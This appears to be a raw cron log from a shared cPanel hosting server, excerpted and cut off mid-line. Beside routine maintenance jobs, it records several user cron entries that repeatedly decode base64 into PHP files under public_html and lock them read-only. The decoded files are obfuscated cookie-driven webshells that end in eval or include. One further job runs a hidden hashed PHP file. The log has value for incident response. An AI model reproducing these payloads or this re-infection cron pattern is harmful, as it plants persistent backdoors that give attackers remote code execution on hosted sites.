Apr 19 05:09:02 medusa CROND[14482]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:09:02 medusa CROND[14483]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:09:02 medusa CROND[14481]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:09:02 medusa CROND[14484]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:09:02 medusa CROND[14486]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:09:02 medusa CROND[14488]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:09:02 medusa CROND[14500]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:10:01 medusa CROND[20971]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:10:01 medusa CROND[20972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 05:10:01 medusa CROND[21110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:10:01 medusa CROND[21199]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:10:01 medusa CROND[21202]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:10:01 medusa CROND[21203]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:10:01 medusa CROND[21207]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:10:01 medusa CROND[21213]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:10:01 medusa CROND[21214]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:10:01 medusa CROND[21210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:10:01 medusa CROND[21215]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:10:01 medusa CROND[21221]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:10:01 medusa CROND[21217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:10:01 medusa CROND[21220]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21224]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21226]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:10:01 medusa CROND[21227]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21229]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:10:01 medusa CROND[21218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 05:10:01 medusa CROND[21242]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:10:01 medusa CROND[21243]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21233]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:10:01 medusa CROND[21223]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 05:10:01 medusa CROND[21235]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:10:01 medusa CROND[21248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 05:10:01 medusa CROND[21252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:11:01 medusa CROND[19773]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:11:01 medusa CROND[19774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:11:01 medusa CROND[19775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:11:01 medusa CROND[19776]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3M